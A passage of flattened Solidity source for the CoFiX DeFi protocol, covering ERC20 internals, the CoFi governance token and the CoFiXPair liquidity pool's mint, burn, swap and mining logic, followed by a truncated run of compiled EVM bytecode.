senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/CoFiToken.sol // GPL-3.0-or-later pragma solidity ^0.8.6; // CoFiToken with Governance. It offers possibilities to adopt off-chain gasless governance infra. contract CoFiToken is ERC20("CoFi Token", "CoFi") { address public governance; mapping (address => bool) public minters; // Copied and modified from SUSHI code: // https://github.com/sushiswap/sushiswap/blob/master/contracts/SushiToken.sol // Which is copied and modified from YAM code and COMPOUND: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @dev An event thats emitted when a new governance account is set /// @param _new The new governance address event NewGovernance(address _new); /// @dev An event thats emitted when a new minter account is added /// @param _minter The new minter address added event MinterAdded(address _minter); /// @dev An event thats emitted when a minter account is removed /// @param _minter The minter address removed event MinterRemoved(address _minter); modifier onlyGovernance() { require(msg.sender == governance, "CoFi: !governance"); _; } constructor() { governance = msg.sender; } function setGovernance(address _new) external onlyGovernance { require(_new != address(0), "CoFi: zero addr"); require(_new != governance, "CoFi: same addr"); governance = _new; emit NewGovernance(_new); } function addMinter(address _minter) external onlyGovernance { minters[_minter] = true; emit MinterAdded(_minter); } function removeMinter(address _minter) external onlyGovernance { minters[_minter] = false; emit MinterRemoved(_minter); } /// @notice mint is used to distribute CoFi token to users, minters are CoFi mining pools function mint(address _to, uint _amount) external { require(minters[msg.sender], "CoFi: !minter"); _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /// @notice SUSHI has a vote governance bug in its token implementation, CoFi fixed it here /// read https://blog.peckshield.com/2020/09/08/sushi/ function transfer(address _recipient, uint _amount) public override returns (bool) { super.transfer(_recipient, _amount); _moveDelegates(_delegates[msg.sender], _delegates[_recipient], _amount); return true; } /// @notice override original transferFrom to fix vote issue function transferFrom(address _sender, address _recipient, uint _amount) public override returns (bool) { super.transferFrom(_sender, _recipient, _amount); _moveDelegates(_delegates[_sender], _delegates[_recipient], _amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "CoFi::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "CoFi::delegateBySig: invalid nonce"); require(block.timestamp <= expiry, "CoFi::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint) { require(blockNumber < block.number, "CoFi::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint delegatorBalance = balanceOf(delegator); // balance of underlying CoFis (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint srcRepNew = srcRepOld - (amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint dstRepNew = dstRepOld + (amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes ) internal { uint32 blockNumber = safe32(block.number, "CoFi::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } // File contracts/interfaces/ICoFiXERC20.sol // GPL-3.0-or-later pragma solidity ^0.8.6; interface ICoFiXERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); // function name() external pure returns (string memory); // function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); // function DOMAIN_SEPARATOR() external view returns (bytes32); // function PERMIT_TYPEHASH() external pure returns (bytes32); // function nonces(address owner) external view returns (uint); // function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File contracts/CoFiXERC20.sol // GPL-3.0-or-later pragma solidity ^0.8.6; // ERC20 token implementation, inherited by CoFiXPair contract, no owner or governance contract CoFiXERC20 is ICoFiXERC20 { //string public constant nameForDomain = 'CoFiX Pool Token'; uint8 public override constant decimals = 18; uint public override totalSupply; mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; //bytes32 public override DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)"); //bytes32 public override constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; //mapping(address => uint) public override nonces; //event Approval(address indexed owner, address indexed spender, uint value); //event Transfer(address indexed from, address indexed to, uint value); constructor() { // uint chainId; // assembly { // chainId := chainid() // } // DOMAIN_SEPARATOR = keccak256( // abi.encode( // keccak256('EIP712Domain(string name,string version,uint chainId,address verifyingContract)'), // keccak256(bytes(nameForDomain)), // keccak256(bytes('1')), // chainId, // address(this) // ) // ); } function _mint(address to, uint value) internal { totalSupply = totalSupply + (value); balanceOf[to] = balanceOf[to] + (value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from] - (value); totalSupply = totalSupply - (value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from] - (value); balanceOf[to] = balanceOf[to] + (value); emit Transfer(from, to, value); } function approve(address spender, uint value) external override returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external override returns (bool) { if (allowance[from][msg.sender] != 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) { allowance[from][msg.sender] = allowance[from][msg.sender] - (value); } _transfer(from, to, value); return true; } // function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override { // require(deadline >= block.timestamp, 'CERC20: EXPIRED'); // bytes32 digest = keccak256( // abi.encodePacked( // '\x19\x01', // DOMAIN_SEPARATOR, // keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) // ) // ); // address recoveredAddress = ecrecover(digest, v, r, s); // require(recoveredAddress != address(0) && recoveredAddress == owner, 'CERC20: INVALID_SIGNATURE'); // _approve(owner, spender, value); // } } // File contracts/CoFiXPair.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev Binary pool: eth/token contract CoFiXPair is CoFiXBase, CoFiXERC20, ICoFiXPair { /* ****************************************************************************************** * Note: In order to unify the authorization entry, all transferFrom operations are carried * out in the CoFiXRouter, and the CoFiXPool needs to be fixed, CoFiXRouter does trust and * needs to be taken into account when calculating the pool balance before and after rollover * ******************************************************************************************/ // it's negligible because we calc liquidity in ETH uint constant MINIMUM_LIQUIDITY = 1e9; // Target token address address _tokenAddress; // Initial asset ratio - eth uint48 _initToken0Amount; // Initial asset ratio - token uint48 _initToken1Amount; // ERC20 - name string public name; // ERC20 - symbol string public symbol; // Address of CoFiXDAO address _cofixDAO; // Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based uint96 _nt; // Address of CoFiXRouter address _cofixRouter; // Lock flag bool _locked; // Trade fee rate, ten thousand points system. 20 uint16 _theta; // Total trade fee uint72 _totalFee; // Address of CoFiXController address _cofixController; // Impact cost threshold uint96 _impactCostVOL; // Total mined uint112 _Y; // Adjusting to a balanced trade size uint112 _D; // Last update block uint32 _lastblock; // Constructor, in order to support openzeppelin's scalable scheme, // it's need to move the constructor to the initialize method constructor() { } /// @dev init Initialize /// @param governance ICoFiXGovernance implementation contract address /// @param name_ Name of xtoken /// @param symbol_ Symbol of xtoken /// @param tokenAddress Target token address /// @param initToken0Amount Initial asset ratio - eth /// @param initToken1Amount Initial asset ratio - token function init( address governance, string calldata name_, string calldata symbol_, address tokenAddress, uint48 initToken0Amount, uint48 initToken1Amount ) external { super.initialize(governance); name = name_; symbol = symbol_; _tokenAddress = tokenAddress; _initToken0Amount = initToken0Amount; _initToken1Amount = initToken1Amount; } modifier check() { require(_cofixRouter == msg.sender, "CoFiXPair: Only for CoFiXRouter"); require(!_locked, "CoFiXPair: LOCKED"); _locked = true; _; _locked = false; } /// @dev Set configuration /// @param theta Trade fee rate, ten thousand points system. 20 /// @param impactCostVOL Impact cost threshold /// @param nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based function setConfig(uint16 theta, uint96 impactCostVOL, uint96 nt) external override onlyGovernance { // Trade fee rate, ten thousand points system. 20 _theta = theta; // Impact cost threshold _impactCostVOL = impactCostVOL; // Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based _nt = nt; } /// @dev Get configuration /// @return theta Trade fee rate, ten thousand points system. 20 /// @return impactCostVOL Impact cost threshold /// @return nt Each unit token (in the case of binary pools, eth) is used for the standard ore output, 1e18 based function getConfig() external override view returns (uint16 theta, uint96 impactCostVOL, uint96 nt) { return (_theta, _impactCostVOL, _nt); } /// @dev Get initial asset ratio /// @return initToken0Amount Initial asset ratio - eth /// @return initToken1Amount Initial asset ratio - token function getInitialAssetRatio() public override view returns ( uint initToken0Amount, uint initToken1Amount ) { return (uint(_initToken0Amount), uint(_initToken1Amount)); } /// @dev Rewritten in the implementation contract, for load other contract addresses. Call /// super.update(newGovernance) when overriding, and override method without onlyGovernance /// @param newGovernance ICoFiXGovernance implementation contract address function update(address newGovernance) public override { super.update(newGovernance); ( ,//cofiToken, ,//cofiNode, _cofixDAO, _cofixRouter, _cofixController, //cofixVaultForStaking ) = ICoFiXGovernance(newGovernance).getBuiltinAddress(); } /// @dev Add liquidity and mint xtoken /// @param token Target token address /// @param to The address to receive xtoken /// @param amountETH The amount of ETH added to pool. (When pool is AnchorPool, amountETH is 0) /// @param amountToken The amount of Token added to pool /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return xtoken The liquidity share token address obtained /// @return liquidity The real liquidity or XToken minted from pool function mint( address token, address to, uint amountETH, uint amountToken, address payback ) external payable override check returns ( address xtoken, uint liquidity ) { // 1. Check token address require(token == _tokenAddress, "CoFiXPair: invalid token address"); // Make sure the proportions are correct uint initToken0Amount = uint(_initToken0Amount); uint initToken1Amount = uint(_initToken1Amount); require(amountETH * initToken1Amount == amountToken * initToken0Amount, "CoFiXPair: invalid asset ratio"); // 2. Calculate net worth and share uint total = totalSupply; if (total > 0) { // 3. Query oracle ( ,//uint blockNumber, uint ethAmount, uint tokenAmount, ,//uint avgPriceEthAmount, ,//uint avgPriceTokenAmount, //uint sigmaSQ ) = ICoFiXController(_cofixController).latestPriceInfo { value: msg.value - amountETH } ( token, payback ); uint balance0 = ethBalance(); uint balance1 = IERC20(token).balanceOf(address(this)); // There are no cost shocks to market making // When the circulation is not zero, the normal issue share liquidity = amountETH * total / _calcTotalValue( // To calculate the net value, we need to use the asset balance before the market making fund // is transferred. Since the ETH was transferred when CoFiXRouter called this method and the // Token was transferred before CoFiXRouter called this method, we need to deduct the amountETH // and amountToken respectively // The current eth balance minus the amount eth equals the ETH balance before the transaction balance0 - amountETH, //The current token balance minus the amountToken equals to the token balance before the transaction balance1 - amountToken, // Oracle price - eth amount ethAmount, // Oracle price - token amount tokenAmount, initToken0Amount, initToken1Amount ); // 6. Update mining state _updateMiningState(balance0, balance1, ethAmount, tokenAmount); } else { payable(payback).transfer(msg.value - amountETH); liquidity = amountETH - MINIMUM_LIQUIDITY; // permanently lock the first MINIMUM_LIQUIDITY tokens _mint(address(0), MINIMUM_LIQUIDITY); } // 5. Increase xtoken _mint(to, liquidity); xtoken = address(this); emit Mint(token, to, amountETH, amountToken, liquidity); } /// @dev Maker remove liquidity from pool to get ERC20 Token and ETH back (maker burn XToken) /// @param token The address of ERC20 Token /// @param to The target address receiving the Token /// @param liquidity The amount of liquidity (XToken) sent to pool, or the liquidity to remove /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return amountETHOut The real amount of ETH transferred from the pool /// @return amountTokenOut The real amount of Token transferred from the pool function burn( address token, address to, uint liquidity, address payback ) external payable override check returns ( uint amountETHOut, uint amountTokenOut ) { // 1. Check token address require(token == _tokenAddress, "CoFiXPair: invalid token address"); // 2. Query oracle ( ,//uint blockNumber, uint ethAmount, uint tokenAmount, ,//uint avgPriceEthAmount, ,//uint avgPriceTokenAmount, //uint sigmaSQ ) = ICoFiXController(_cofixController).latestPriceInfo { value: msg.value } ( token, payback ); // 3. Calculate the net value and calculate the equal proportion fund according to the net value uint balance0 = ethBalance(); uint balance1 = IERC20(token).balanceOf(address(this)); uint navps = 1 ether; uint total = totalSupply; uint initToken0Amount = uint(_initToken0Amount); uint initToken1Amount = uint(_initToken1Amount); if (total > 0) { navps = _calcTotalValue( balance0, balance1, ethAmount, tokenAmount, initToken0Amount, initToken1Amount ) * 1 ether / total; } amountETHOut = navps * liquidity / 1 ether; amountTokenOut = amountETHOut * initToken1Amount / initToken0Amount; // 4. Destroy xtoken _burn(address(this), liquidity); // 5. Adjust according to the surplus of the fund pool // If the number of eth to be retrieved exceeds the balance of the fund pool, // it will be automatically converted into a token if (amountETHOut > balance0) { amountTokenOut += (amountETHOut - balance0) * tokenAmount / ethAmount; amountETHOut = balance0; } // If the number of tokens to be retrieved exceeds the balance of the fund pool, // it will be automatically converted to eth else if (amountTokenOut > balance1) { amountETHOut += (amountTokenOut - balance1) * ethAmount / tokenAmount; amountTokenOut = balance1; } // 6. Transfer of funds to the user's designated address payable(to).transfer(amountETHOut); TransferHelper.safeTransfer(token, to, amountTokenOut); emit Burn(token, to, liquidity, amountETHOut, amountTokenOut); // 7. Mining logic _updateMiningState(balance0 - amountETHOut, balance1 - amountTokenOut, ethAmount, tokenAmount); } /// @dev Swap token /// @param src Src token address /// @param dest Dest token address /// @param amountIn The exact amount of Token a trader want to swap into pool /// @param to The target address receiving the ETH /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return amountOut The real amount of ETH transferred out of pool /// @return mined The amount of CoFi which will be mind by this trade function swap( address src, address dest, uint amountIn, address to, address payback ) external payable override check returns ( uint amountOut, uint mined ) { address token = _tokenAddress; if (src == address(0) && dest == token) { (amountOut, mined) = _swapForToken(token, amountIn, to, payback); } else if (src == token && dest == address(0)) { (amountOut, mined) = _swapForETH(token, amountIn, to, payback); } else { revert("CoFiXPair: pair error"); } } /// @dev Swap for tokens /// @param amountIn The exact amount of Token a trader want to swap into pool /// @param to The target address receiving the ETH /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return amountTokenOut The real amount of token transferred out of pool /// @return mined The amount of CoFi which will be mind by this trade function _swapForToken( address token, uint amountIn, address to, address payback ) private returns ( uint amountTokenOut, uint mined ) { // 1. Query oracle ( uint k, uint ethAmount, uint tokenAmount, //uint blockNumber, ) = ICoFiXController(_cofixController).queryOracle { value: msg.value - amountIn } ( token, payback ); // 2. Calculate the trade result uint fee = amountIn * uint(_theta) / 10000; amountTokenOut = (amountIn - fee) * tokenAmount * 1 ether / ethAmount / ( 1 ether + k + _impactCostForSellOutETH(amountIn, uint(_impactCostVOL)) ); // 3. Transfer transaction fee fee = _collect(fee); // 4. Mining logic mined = _cofiMint(_calcD( address(this).balance - fee, IERC20(token).balanceOf(address(this)) - amountTokenOut, ethAmount, tokenAmount ), uint(_nt)); // 5. Transfer token TransferHelper.safeTransfer(token, to, amountTokenOut); emit SwapForToken(amountIn, to, amountTokenOut, mined); } /// @dev Swap for eth /// @param amountIn The exact amount of Token a trader want to swap into pool /// @param to The target address receiving the ETH /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, /// and the excess fees will be returned through this address /// @return amountETHOut The real amount of eth transferred out of pool /// @return mined The amount of CoFi which will be mind by this trade function _swapForETH( address token, uint amountIn, address to, address payback ) private returns ( uint amountETHOut, uint mined ) { // 1. Query oracle ( uint k, uint ethAmount, uint tokenAmount, //uint blockNumber, ) = ICoFiXController(_cofixController).queryOracle { value: msg.value } ( token, payback ); // 2. Calculate the trade result amountETHOut = amountIn * ethAmount / tokenAmount; amountETHOut = amountETHOut * 1 ether / ( 1 ether + k + _impactCostForBuyInETH(amountETHOut, uint(_impactCostVOL)) ); uint fee = amountETHOut * uint(_theta) / 10000; amountETHOut = amountETHOut - fee; // 3. Transfer transaction fee fee = _collect(fee); // 4. Mining logic mined = _cofiMint(_calcD( address(this).balance - fee - amountETHOut, IERC20(token).balanceOf(address(this)), ethAmount, tokenAmount ), uint(_nt)); // 5. Transfer token payable(to).transfer(amountETHOut); emit SwapForETH(amountIn, to, amountETHOut, mined); } // Update mining state function _updateMiningState(uint balance0, uint balance1, uint ethAmount, uint tokenAmount) private { uint D1 = _calcD( balance0, //ethBalance(), balance1, //IERC20(token).balanceOf(address(this)), ethAmount, tokenAmount ); uint D0 = uint(_D); // When d0 < D1, the y value also needs to be updated uint Y = uint(_Y) + D0 * uint(_nt) * (block.number - uint(_lastblock)) / 1 ether; _Y = uint112(Y); _D = uint112(D1); _lastblock = uint32(block.number); } // Calculate the ETH transaction size required to adjust to 𝑘0 function _calcD( uint balance0, uint balance1, uint ethAmount, uint tokenAmount ) private view returns (uint) { uint initToken0Amount = uint(_initToken0Amount); uint initToken1Amount = uint(_initToken1Amount); // D_t=|(E_t 〖*k〗_0 〖-U〗_t)/(k_0+P_t )| uint left = balance0 * initToken1Amount; uint right = balance1 * initToken0Amount; uint numerator; if (left > right) { numerator = left - right; } else { numerator = right - left; } return numerator * ethAmount / ( ethAmount * initToken1Amount + tokenAmount * initToken0Amount ); } // Calculate CoFi transaction mining related variables and update the corresponding status function _cofiMint(uint D1, uint nt) private returns (uint mined) { // Y_t=Y_(t-1)+D_(t-1)*n_t*(S_t+1)-Z_t // Z_t=〖[Y〗_(t-1)+D_(t-1)*n_t*(S_t+1)]* v_t uint D0 = uint(_D); // When d0 < D1, the y value also needs to be updated uint Y = uint(_Y) + D0 * nt * (block.number - uint(_lastblock)) / 1 ether; if (D0 > D1) { mined = Y * (D0 - D1) / D0; Y = Y - mined; } _Y = uint112(Y); _D = uint112(D1); _lastblock = uint32(block.number); } /// @dev Estimate mining amount /// @param newBalance0 New balance of eth /// @param newBalance1 New balance of token /// @param ethAmount Oracle price - eth amount /// @param tokenAmount Oracle price - token amount /// @return mined The amount of CoFi which will be mind by this trade function estimate( uint newBalance0, uint newBalance1, uint ethAmount, uint tokenAmount ) external view override returns (uint mined) { uint D1 = _calcD(newBalance0, newBalance1, ethAmount, tokenAmount); // Y_t=Y_(t-1)+D_(t-1)*n_t*(S_t+1)-Z_t // Z_t=〖[Y〗_(t-1)+D_(t-1)*n_t*(S_t+1)]* v_t uint D0 = uint(_D); if (D0 > D1) { // When d0 < D1, the y value also needs to be updated uint Y = uint(_Y) + D0 * uint(_nt) * (block.number - uint(_lastblock)) / 1 ether; mined = Y * (D0 - D1) / D0; } } // Deposit transaction fee function _collect(uint fee) private returns (uint total) { total = uint(_totalFee) + fee; if (total >= 1 ether) { ICoFiXDAO(_cofixDAO).addETHReward { value: total } (address(this)); total = 0; } _totalFee = uint72(total); } /// @dev Settle trade fee to DAO function settle() external override { ICoFiXDAO(_cofixDAO).addETHReward { value: uint(_totalFee) } (address(this)); _totalFee = uint72(0); } /// @dev Get eth balance of this pool /// @return eth balance of this pool function ethBalance() public view override returns (uint) { return address(this).balance - uint(_totalFee); } /// @dev Get total trade fee which not settled function totalFee() external view override returns (uint) { return uint(_totalFee); } /// @dev Get net worth /// @param ethAmount Oracle price - eth amount /// @param tokenAmount Oracle price - token amount /// @return navps Net worth function getNAVPerShare( uint ethAmount, uint tokenAmount ) external view override returns (uint navps) { uint total = totalSupply; if (total > 0) { return _calcTotalValue( ethBalance(), IERC20(_tokenAddress).balanceOf(address(this)), ethAmount, tokenAmount, _initToken0Amount, _initToken1Amount ) * 1 ether / total; } return 1 ether; } // Calculate the total value of asset balance function _calcTotalValue( uint balance0, uint balance1, uint ethAmount, uint tokenAmount, uint initToken0Amount, uint initToken1Amount ) private pure returns (uint totalValue) { // NV=(E_t+U_t/P_t)/((1+k_0/P_t )) totalValue = ( balance0 * tokenAmount + balance1 * ethAmount ) * initToken0Amount / ( initToken0Amount * tokenAmount + initToken1Amount * ethAmount ); } // impact cost // - C = 0, if VOL < impactCostVOL // - C = β * VOL, if VOL >= impactCostVOL // α=0,β=2e-06 function _impactCostForBuyInETH(uint vol, uint impactCostVOL) private pure returns (uint impactCost) { // β=1e-03*1e18 // uint constant C_BUYIN_BETA = 0.001 ether; if (vol >= impactCostVOL) { //impactCost = vol * C_BUYIN_BETA / 1 ether; impactCost = vol / 1000; } } // α=0,β=2e-06 function _impactCostForSellOutETH(uint vol, uint impactCostVOL) private pure returns (uint impactCost) { // β=1e-03*1e18 // uint constant C_BUYIN_BETA = 0.001 ether; if (vol >= impactCostVOL) { //impactCost = vol * C_BUYIN_BETA / 1 ether; impactCost = vol / 1000; } } /// @dev Calculate the impact cost of buy in eth /// @param vol Trade amount in eth /// @return impactCost Impact cost function impactCostForBuyInETH(uint vol) public view override returns (uint impactCost) { return _impactCostForBuyInETH(vol, uint(_impactCostVOL)); } /// @dev Calculate the impact cost of sell out eth /// @param vol Trade amount in eth /// @return impactCost Impact cost function impactCostForSellOutETH(uint vol) public view override returns (uint impactCost) { return _impactCostForSellOutETH(vol, uint(_impactCostVOL)); } /// @dev Gets the token address of the share obtained by the specified token market making /// @param token Target token address /// @return If the fund pool supports the specified token, return the token address of the market share function getXToken(address token) external view override returns (address) { if (token == _tokenAddress) { return address(this); } return address(0); } }
0x6080604052600436106101b75760003560e01c806382963012116100ec578063c3f909d41161008a578063dd62ed3e11610064578063dd62ed3e14610597578063fa28d692146105cf578063fa291e531461060e578063fddd85061461062157600080fd5b8063c3f909d4146104fb578063c4d66de814610577578063d342d977146103f057600080fd5b8063a1da4d24116100c6578063a1da4d2414610445578063a9059cbb1461049b578063ad68ebf7146104bb578063b09b3186146104db57600080fd5b806382963012146103f05780638c1893c11461041057806395d89b411461043057600080fd5b806323b872dd1161015957806344c133e21161013357806344c133e2146103665780634cb2b6b11461038e5780634e6630b0146103ae57806370a08231146103c357600080fd5b806323b872dd146102ff57806324334be81461031f578063313ce5671461033f57600080fd5b806318160ddd1161019557806318160ddd1461022e5780631c1b8772146102525780631c2f3e3d146102725780631df4ccfc146102c457600080fd5b806306fdde03146101bc578063095ea7b3146101e757806311da60b414610217575b600080fd5b3480156101c857600080fd5b506101d1610641565b6040516101de91906136d2565b60405180910390f35b3480156101f357600080fd5b50610207610202366004613516565b6106cf565b60405190151581526020016101de565b34801561022357600080fd5b5061022c6106e6565b005b34801561023a57600080fd5b5061024460015481565b6040519081526020016101de565b34801561025e57600080fd5b5061022c61026d36600461321a565b6107b4565b34801561027e57600080fd5b5060005461029f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101de565b3480156102d057600080fd5b5060085477010000000000000000000000000000000000000000000000900468ffffffffffffffffff16610244565b34801561030b57600080fd5b5061020761031a366004613314565b6108a3565b34801561032b57600080fd5b5061024461033a3660046135e2565b61097d565b34801561034b57600080fd5b50610354601281565b60405160ff90911681526020016101de565b6103796103743660046133a8565b610ab9565b604080519283526020830191909152016101de565b34801561039a57600080fd5b5061029f6103a936600461321a565b610d70565b3480156103ba57600080fd5b50610244610da5565b3480156103cf57600080fd5b506102446103de36600461321a565b60026020526000908152604090205481565b3480156103fc57600080fd5b5061024461040b3660046135b0565b610de0565b34801561041c57600080fd5b5061022c61042b366004613461565b610e17565b34801561043c57600080fd5b506101d1610ee8565b34801561045157600080fd5b5060045465ffffffffffff7401000000000000000000000000000000000000000082048116917a010000000000000000